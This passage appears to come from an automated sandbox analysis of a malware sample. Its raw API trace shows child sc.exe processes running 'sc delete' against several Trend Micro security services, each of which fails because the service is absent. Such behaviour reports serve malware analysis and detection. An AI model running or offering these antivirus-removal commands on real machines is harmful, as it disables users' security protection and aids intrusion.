out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0068.592] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1efd10, nSize=0x2, Arguments=0x1efd40 | out: lpBuffer="跀*") returned 0x62 [0068.593] GetFileType (hFile=0x120) returned 0x3 [0068.593] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x2a8ea0 [0068.593] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x2a8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n*", lpUsedDefaultChar=0x0) returned 98 [0068.593] WriteFile (in: hFile=0x120, lpBuffer=0x2a8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1efcb8, lpOverlapped=0x0 | out: lpBuffer=0x2a8ea0*, lpNumberOfBytesWritten=0x1efcb8*=0x62, lpOverlapped=0x0) returned 1 [0068.593] LocalFree (hMem=0x2a8ea0) returned 0x0 [0068.593] LocalFree (hMem=0x2a8dc0) returned 0x0 [0068.593] LocalFree (hMem=0x0) returned 0x0 [0068.593] CloseServiceHandle (hSCObject=0x2a43e0) returned 1 [0068.595] exit (_Code=1060) Thread: id = 117 os_tid = 0xa3c Process: id = "59" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x35b04000" os_pid = "0x344" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete TMiCRCScanService" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 118 os_tid = 0x3a4 [0068.645] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fe10 | out: lpSystemTimeAsFileTime=0x24fe10*(dwLowDateTime=0xeb548df0, dwHighDateTime=0x1d62701)) [0068.646] GetCurrentProcessId () returned 0x344 [0068.646] GetCurrentThreadId () returned 0x3a4 [0068.646] GetTickCount () returned 0x11482a8 [0068.646] QueryPerformanceCounter (in: lpPerformanceCount=0x24fe18 | out: lpPerformanceCount=0x24fe18*=18884414068) returned 1 [0068.647] GetModuleHandleW (lpModuleName=0x0) returned 0xff480000 [0068.647] __set_app_type (_Type=0x1) [0068.647] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff487228) returned 0x0 [0068.647] __wgetmainargs (in: _Argc=0xff48b604, _Argv=0xff48b610, _Env=0xff48b608, _DoWildCard=0, _StartInfo=0xff48b050 | out: _Argc=0xff48b604, _Argv=0xff48b610, _Env=0xff48b608) returned 0 [0068.647] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.650] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.650] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0068.650] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0068.650] _wcsicmp (_String1="delete", _String2="query") returned -13 [0068.650] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0068.650] _wcsicmp (_String1="delete", _String2="start") returned -15 [0068.650] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0068.650] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0068.650] _wcsicmp (_String1="delete", _String2="control") returned 1 [0068.650] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0068.650] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0068.650] _wcsicmp (_String1="delete", _String2="config") returned 1 [0068.650] _wcsicmp (_String1="delete", _String2="description") returned -7 [0068.650] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0068.650] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0068.650] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0068.650] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0068.650] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0068.650] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0068.650] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0068.650] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0068.650] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0068.650] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0068.650] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0068.650] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0068.650] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0068.650] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0068.650] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0068.650] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0068.650] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0068.650] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0068.651] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3443e0 [0068.654] OpenServiceW (hSCManager=0x3443e0, lpServiceName="TMiCRCScanService", dwDesiredAccess=0x10000) returned 0x0 [0068.654] GetLastError () returned 0x424 [0068.655] _itow (in: _Dest=0x424, _Radix=2423928 | out: _Dest=0x424) returned="1060" [0068.655] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff48b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0068.656] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x24fc30, nSize=0x2, Arguments=0x24fc60 | out: lpBuffer="跀4") returned 0x62 [0068.657] GetFileType (hFile=0x120) returned 0x3 [0068.657] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x348ea0 [0068.657] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x348ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n4", lpUsedDefaultChar=0x0) returned 98 [0068.657] WriteFile (in: hFile=0x120, lpBuffer=0x348ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x24fbd8, lpOverlapped=0x0 | out: lpBuffer=0x348ea0*, lpNumberOfBytesWritten=0x24fbd8*=0x62, lpOverlapped=0x0) returned 1 [0068.657] LocalFree (hMem=0x348ea0) returned 0x0 [0068.657] LocalFree (hMem=0x348dc0) returned 0x0 [0068.657] LocalFree (hMem=0x0) returned 0x0 [0068.657] CloseServiceHandle (hSCObject=0x3443e0) returned 1 [0068.658] exit (_Code=1060) Thread: id = 119 os_tid = 0x270 Process: id = "60" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37109000" os_pid = "0xb0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete VSApiNt" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 120 os_tid = 0x818 [0068.704] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fa10 | out: lpSystemTimeAsFileTime=0x16fa10*(dwLowDateTime=0xeb5e1370, dwHighDateTime=0x1d62701)) [0068.704] GetCurrentProcessId () returned 0xb0 [0068.704] GetCurrentThreadId () returned 0x818 [0068.704] GetTickCount () returned 0x11482e6 [0068.704] QueryPerformanceCounter (in: lpPerformanceCount=0x16fa18 | out: lpPerformanceCount=0x16fa18*=18890291897) returned 1 [0068.706] GetModuleHandleW (lpModuleName=0x0) returned 0xffd40000 [0068.706] __set_app_type (_Type=0x1) [0068.706] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffd47228) returned 0x0 [0068.706] __wgetmainargs (in: _Argc=0xffd4b604, _Argv=0xffd4b610, _Env=0xffd4b608, _DoWildCard=0, _StartInfo=0xffd4b050 | out: _Argc=0xffd4b604, _Argv=0xffd4b610, _Env=0xffd4b608) returned 0 [0068.707] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.709] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.709] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0068.709] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0068.709] _wcsicmp (_String1="delete", _String2="query") returned -13 [0068.709] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0068.709] _wcsicmp (_String1="delete", _String2="start") returned -15 [0068.709] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0068.709] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0068.709] _wcsicmp (_String1="delete", _String2="control") returned 1 [0068.709] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0068.709] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0068.709] _wcsicmp (_String1="delete", _String2="config") returned 1 [0068.709] _wcsicmp (_String1="delete", _String2="description") returned -7 [0068.709] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0068.709] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0068.709] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0068.709] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0068.709] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0068.709] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0068.710] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0068.710] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0068.710] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0068.710] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0068.710] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0068.710] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0068.710] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0068.710] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0068.710] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0068.710] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0068.710] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0068.710] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0068.710] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x374370 [0068.714] OpenServiceW (hSCManager=0x374370, lpServiceName="VSApiNt", dwDesiredAccess=0x10000) returned 0x0 [0068.715] GetLastError () returned 0x424 [0068.715] _itow (in: _Dest=0x424, _Radix=1505400 | out: _Dest=0x424) returned="1060" [0068.715] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffd4b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0068.717] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x16f830, nSize=0x2, Arguments=0x16f860 | out: lpBuffer="跀7") returned 0x62 [0068.717] GetFileType (hFile=0x120) returned 0x3 [0068.717] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x378ea0 [0068.718] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x378ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n7", lpUsedDefaultChar=0x0) returned 98 [0068.718] WriteFile (in: hFile=0x120, lpBuffer=0x378ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x16f7d8, lpOverlapped=0x0 | out: lpBuffer=0x378ea0*, lpNumberOfBytesWritten=0x16f7d8*=0x62, lpOverlapped=0x0) returned 1 [0068.718] LocalFree (hMem=0x378ea0) returned 0x0 [0068.718] LocalFree (hMem=0x378dc0) returned 0x0 [0068.718] LocalFree (hMem=0x0) returned 0x0 [0068.718] CloseServiceHandle (hSCObject=0x374370) returned 1 [0068.720] exit (_Code=1060) Thread: id = 121 os_tid = 0x310 Process: id = "61" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x35e0e000" os_pid = "0x868" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete TmCCSF" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 122 os_tid = 0xab8 [0068.770] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fc70 | out: lpSystemTimeAsFileTime=0x16fc70*(dwLowDateTime=0xeb6798f0, dwHighDateTime=0x1d62701)) [0068.770] GetCurrentProcessId () returned 0x868 [0068.770] GetCurrentThreadId () returned 0xab8 [0068.770] GetTickCount () returned 0x1148325 [0068.770] QueryPerformanceCounter (in: lpPerformanceCount=0x16fc78 | out: lpPerformanceCount=0x16fc78*=18896858151) returned 1 [0068.772] GetModuleHandleW (lpModuleName=0x0) returned 0xffa40000 [0068.772] __set_app_type (_Type=0x1) [0068.772] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffa47228) returned 0x0 [0068.772] __wgetmainargs (in: _Argc=0xffa4b604, _Argv=0xffa4b610, _Env=0xffa4b608, _DoWildCard=0, _StartInfo=0xffa4b050 | out: _Argc=0xffa4b604, _Argv=0xffa4b610, _Env=0xffa4b608) returned 0 [0068.773] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.775] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.775] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0068.775] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0068.775] _wcsicmp (_String1="delete", _String2="query") returned -13 [0068.775] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0068.776] _wcsicmp (_String1="delete", _String2="start") returned -15 [0068.776] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0068.776] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0068.776] _wcsicmp (_String1="delete", _String2="control") returned 1 [0068.776] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0068.776] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0068.776] _wcsicmp (_String1="delete", _String2="config") returned 1 [0068.776] _wcsicmp (_String1="delete", _String2="description") returned -7 [0068.776] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0068.776] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0068.776] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0068.776] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0068.776] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0068.776] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0068.776] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0068.776] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0068.776] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0068.776] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0068.776] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0068.776] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0068.776] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0068.776] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0068.776] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0068.776] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0068.776] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0068.776] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0068.776] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x194370 [0068.783] OpenServiceW (hSCManager=0x194370, lpServiceName="TmCCSF", dwDesiredAccess=0x10000) returned 0x0 [0068.783] GetLastError () returned 0x424 [0068.783] _itow (in: _Dest=0x424, _Radix=1506008 | out: _Dest=0x424) returned="1060" [0068.783] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffa4b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0068.785] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x16fa90, nSize=0x2, Arguments=0x16fac0 | out: lpBuffer="跀\x19") returned 0x62 [0068.786] GetFileType (hFile=0x120) returned 0x3 [0068.786] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x198ea0 [0068.786] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x198ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x19", lpUsedDefaultChar=0x0) returned 98 [0068.786] WriteFile (in: hFile=0x120, lpBuffer=0x198ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x16fa38, lpOverlapped=0x0 | out: lpBuffer=0x198ea0*, lpNumberOfBytesWritten=0x16fa38*=0x62, lpOverlapped=0x0) returned 1 [0068.786] LocalFree (hMem=0x198ea0) returned 0x0 [0068.786] LocalFree (hMem=0x198dc0) returned 0x0 [0068.786] LocalFree (hMem=0x0) returned 0x0 [0068.786] CloseServiceHandle (hSCObject=0x194370) returned 1 [0068.788] exit (_Code=1060) Thread: id = 123 os_tid = 0x838 Process: id = "62" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x36213000" os_pid = "0xac8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete tmlisten" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 124 os_tid = 0xacc [0068.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14fb10 | out: lpSystemTimeAsFileTime=0x14fb10*(dwLowDateTime=0xeb737fd0, dwHighDateTime=0x1d62701)) [0068.836] GetCurrentProcessId () returned 0xac8 [0068.836] GetCurrentThreadId () returned 0xacc [0068.836] GetTickCount () returned 0x1148373 [0068.836] QueryPerformanceCounter (in: lpPerformanceCount=0x14fb18 | out: lpPerformanceCount=0x14fb18*=18903479252) returned 1 [0068.838] GetModuleHandleW (lpModuleName=0x0) returned 0xff5e0000 [0068.838] __set_app_type (_Type=0x1) [0068.838] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff5e7228) returned 0x0 [0068.838] __wgetmainargs (in: _Argc=0xff5eb604, _Argv=0xff5eb610, _Env=0xff5eb608, _DoWildCard=0, _StartInfo=0xff5eb050 | out: _Argc=0xff5eb604, _Argv=0xff5eb610, _Env=0xff5eb608) returned 0 [0068.839] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.840] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.840] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0068.841] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0068.841] _wcsicmp (_String1="delete", _String2="query") returned -13 [0068.841] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0068.841] _wcsicmp (_String1="delete", _String2="start") returned -15 [0068.841] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0068.841] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0068.841] _wcsicmp (_String1="delete", _String2="control") returned 1 [0068.841] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0068.841] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0068.841] _wcsicmp (_String1="delete", _String2="config") returned 1 [0068.841] _wcsicmp (_String1="delete", _String2="description") returned -7 [0068.841] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0068.841] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0068.841] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0068.841] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0068.841] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0068.841] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0068.841] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0068.841] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0068.841] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0068.841] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0068.841] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0068.841] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0068.841] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0068.841] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0068.841] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0068.841] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0068.841] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0068.841] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0068.841] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1a4370 [0068.845] OpenServiceW (hSCManager=0x1a4370, lpServiceName="tmlisten", dwDesiredAccess=0x10000) returned 0x0 [0068.845] GetLastError () returned 0x424 [0068.845] _itow (in: _Dest=0x424, _Radix=1374584 | out: _Dest=0x424) returned="1060" [0068.845] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff5eb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0068.847] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x14f930, nSize=0x2, Arguments=0x14f960 | out: lpBuffer="跀\x1a") returned 0x62 [0068.847] GetFileType (hFile=0x120) returned 0x3 [0068.847] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1a8ea0 [0068.847] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1a8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1a", lpUsedDefaultChar=0x0) returned 98 [0068.847] WriteFile (in: hFile=0x120, lpBuffer=0x1a8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x14f8d8, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea0*, lpNumberOfBytesWritten=0x14f8d8*=0x62, lpOverlapped=0x0) returned 1 [0068.847] LocalFree (hMem=0x1a8ea0) returned 0x0 [0068.847] LocalFree (hMem=0x1a8dc0) returned 0x0 [0068.847] LocalFree (hMem=0x0) returned 0x0 [0068.847] CloseServiceHandle (hSCObject=0x1a4370) returned 1 [0068.849] exit (_Code=1060) Thread: id = 125 os_tid = 0xac0 Process: id = "63" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37418000" os_pid = "0x858" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete TmProxy" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 126 os_tid = 0x878 [0068.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1efed0 | out: lpSystemTimeAsFileTime=0x1efed0*(dwLowDateTime=0xeb7f66b0, dwHighDateTime=0x1d62701)) [0068.919] GetCurrentProcessId () returned 0x858 [0068.919] GetCurrentThreadId () returned 0x878 [0068.919] GetTickCount () returned 0x11483c1 [0068.919] QueryPerformanceCounter (in: lpPerformanceCount=0x1efed8 | out: lpPerformanceCount=0x1efed8*=18911722353) returned 1 [0068.920] GetModuleHandleW (lpModuleName=0x0) returned 0xffc50000 [0068.920] __set_app_type (_Type=0x1) [0068.920] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffc57228) returned 0x0 [0068.920] __wgetmainargs (in: _Argc=0xffc5b604, _Argv=0xffc5b610, _Env=0xffc5b608, _DoWildCard=0, _StartInfo=0xffc5b050 | out: _Argc=0xffc5b604, _Argv=0xffc5b610, _Env=0xffc5b608) returned 0 [0068.921] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.924] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.924] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0068.924] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0068.924] _wcsicmp (_String1="delete", _String2="query") returned -13 [0068.924] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0068.924] _wcsicmp (_String1="delete", _String2="start") returned -15 [0068.924] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0068.924] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0068.924] _wcsicmp (_String1="delete", _String2="control") returned 1 [0068.924] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0068.924] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0068.924] _wcsicmp (_String1="delete", _String2="config") returned 1 [0068.924] _wcsicmp (_String1="delete", _String2="description") returned -7 [0068.924] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0068.924] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0068.924] _wcsicmp (_String1="delete", _String2="failureflag") 